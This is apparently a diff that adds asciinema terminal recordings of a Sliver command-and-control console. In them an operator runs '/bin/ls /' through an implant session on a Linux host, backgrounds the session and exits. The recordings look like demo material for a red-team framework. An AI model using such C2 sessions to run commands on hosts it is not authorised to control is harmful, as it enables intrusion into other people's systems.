[14.044114, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[14.199683, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[14.21306, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.214847, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[14.357009, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[14.367702, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[14.897845, "o", "\u001b[?25l"]
|
||||
[14.901927, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[14.910301, "o", "exet\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.910969, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[15.391278, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.400703, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[15.471799, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.479711, "o", "exec\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.480898, "o", "\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[15.614302, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.624158, "o", "execu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.624912, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[15.782521, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.793945, "o", "execut\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[15.86119, "o", "\u001b[?25l\u001b[107D"]
|
||||
[15.861475, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.863091, "o", "\u001b[1m\u001b[32mexecute\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[15.987734, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.994851, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[15.995181, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[19.67185, "o", "\u001b[?25l\u001b[107D"]
|
||||
[19.673708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[19.681421, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[19.682207, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[20.019092, "o", "\u001b[?25l"]
|
||||
[20.025375, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.031291, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C"]
|
||||
[20.033038, "o", "\u001b[?25h"]
|
||||
[20.154414, "o", "\u001b[?25l\u001b[107D"]
|
||||
[20.154819, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.157803, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[20.269444, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.278759, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[26C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[21.306856, "o", "\u001b[?25l"]
|
||||
[21.315414, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.3218, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[26C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[21.693634, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[21.69433, "o", "\u001b[6n"]
|
||||
[21.701285, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/l\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.702159, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[26C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[21.827077, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.838425, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.839936, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[26C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[21.969341, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.979181, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
|
||||
[23.201983, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[23.21476, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[23.216263, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[25.596733, "o", "\u001b[?25l"]
|
||||
[25.603213, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.610827, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
|
||||
[26.044156, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[26.057831, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls /\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.05881, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[26.261951, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[26.271709, "o", "\u001b[6n"]
|
||||
[26.276731, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.278469, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[44D\u001b[26C\u001b[107D\u001b[44C\u001b[?25h"]
|
||||
[27.20039, "o", "\u001b[?25l"]
|
||||
[27.202463, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.208184, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[27.208868, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[27.702218, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.709463, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
|
||||
[27.780314, "o", "\u001b[?25l"]
|
||||
[27.782576, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.785904, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[27.786407, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[26C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[27.849841, "o", "\u001b[?25l\u001b[107D"]
|
||||
[27.849996, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.85177, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[27.852613, "o", "\u001b[40D\u001b[26C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[27.934263, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.935215, "o", "\u001b[6n"]
|
||||
[27.937815, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D"]
|
||||
[27.938416, "o", "\u001b[26C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[28.018712, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[28.018874, "o", "\u001b[6n"]
|
||||
[28.02151, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[26C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[28.10701, "o", "\u001b[?25l\u001b[107D"]
|
||||
[28.108399, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[28.111275, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C"]
|
||||
[28.112338, "o", "\u001b[?25h"]
|
||||
[28.196484, "o", "\u001b[?25l"]
|
||||
[28.198715, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[28.203237, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[28.203907, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[28.277332, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[28.282855, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[28.533288, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[28.542459, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.543746, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[28.868304, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[28.869173, "o", "\u001b[6n"]
|
||||
[28.880099, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-/bin/ls \u001b[39m\u001b[22m/ \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.880738, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[29.19404, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[29.197355, "o", "\u001b[6n"]
|
||||
[29.20746, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-o/bin/ls \u001b[39m\u001b[22m/ \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[29.208826, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[29.303177, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[29.303346, "o", "\u001b[6n"]
|
||||
[29.30501, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-o \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[29.305658, "o", "\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[32.966801, "o", "\u001b[37D\u001b[26C"]
|
||||
[32.967745, "o", "\u001b[6n"]
|
||||
[32.978194, "o", "\u001b[107D\u001b[47C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[32.979946, "o", "\u001b[0 q\r\n"]
|
||||
[33.098088, "o", "\r\u001b[2K ⠋ Executing /bin/ls / ..."]
|
||||
[33.118263, "o", "\r\u001b[2K"]
|
||||
[33.11911, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mOutput:\r\nbin\r\nboot\r\ndev\r\netc\r\nhome\r\nlib\r\nlib32\r\nlib64\r\nlibx32\r\nmedia\r\nmnt\r\nopt\r\nproc\r\nroot\r\nrun\r\nsbin\r\nsrv\r\nsys\r\ntmp\r\nusr\r\nvar\r\n\r\n"]
|
||||
[33.136833, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[33.137974, "o", "\u001b[1 q"]
|
||||
[33.13849, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[33.141693, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.142394, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[37.352368, "o", "\u001b[?25l\u001b[107D"]
|
||||
[37.353087, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.354717, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.355127, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[37.582877, "o", "\u001b[?25l"]
|
||||
[37.585677, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.595738, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.596715, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[38.549862, "o", "\u001b[?25l"]
|
||||
[38.552822, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.56645, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[38.690797, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.69985, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[38.702217, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[38.907656, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.920832, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[38.921498, "o", "\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[39.000236, "o", "\u001b[?25l\u001b[107D"]
|
||||
[39.001099, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.006038, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.007044, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[39.06441, "o", "\u001b[?25l"]
|
||||
[39.065042, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.067577, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.069111, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[39.185934, "o", "\u001b[?25l\u001b[107D"]
|
||||
[39.192091, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.199509, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[39.357202, "o", "\u001b[?25l\u001b[107D"]
|
||||
[39.357378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.360949, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[39.413344, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[39.414766, "o", "\u001b[6n"]
|
||||
[39.417393, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C"]
|
||||
[39.419039, "o", "\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[39.477169, "o", "\u001b[?25l"]
|
||||
[39.477965, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.480338, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[39.54931, "o", "\u001b[?25l\u001b[107D"]
|
||||
[39.550242, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.552782, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[39.638767, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[39.650342, "o", "\u001b[6n"]
|
||||
[39.652449, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C"]
|
||||
[39.653044, "o", "\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[39.785124, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.795851, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[40.033815, "o", "\u001b[36D\u001b[26C"]
|
||||
[40.040687, "o", "\u001b[6n"]
|
||||
[40.047095, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[40.048211, "o", "\u001b[0 q\r\n"]
|
||||
[40.073042, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[40.082883, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.083371, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.08517, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[40.085757, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[41.082976, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[41.095274, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.096137, "o", "\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[41.222323, "o", "\u001b[?25l\u001b[107D"]
|
||||
[41.223394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[41.226145, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[41.226932, "o", "\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[41.347974, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[41.348233, "o", "\u001b[6n"]
|
||||
[41.352748, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[41.352926, "o", "\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[41.513029, "o", "\u001b[?25l"]
|
||||
[41.513904, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[41.518602, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.521172, "o", "\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[41.725387, "o", "\u001b[13D\u001b[9C"]
|
||||
[41.727136, "o", "\u001b[6n"]
|
||||
[41.730055, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[41.731351, "o", "\u001b[0 q\r\n"]
|
||||
[41.755961, "o", "Exiting...\r\n"]
|
||||
[41.782934, "o", "\u001b[?2004h"]
|
||||
[41.783254, "o", "root@98df0494f659:~# "]
|
||||
[42.976879, "o", "\u001b[?2004l\r\r\n"]
|
||||
[42.978376, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,719 @@
|
||||
{"version": 2, "width": 133, "height": 91, "timestamp": 1714569350, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.130371, "o", "\u001b[?2004h"]
|
||||
[0.138191, "o", "root@98df0494f659:~# "]
|
||||
[0.822762, "o", "."]
|
||||
[0.858066, "o", "/"]
|
||||
[1.075045, "o", "s"]
|
||||
[1.209517, "o", "l"]
|
||||
[1.27683, "o", "i"]
|
||||
[1.403244, "o", "v"]
|
||||
[1.607254, "o", "e"]
|
||||
[1.736418, "o", "r"]
|
||||
[1.923876, "o", "-"]
|
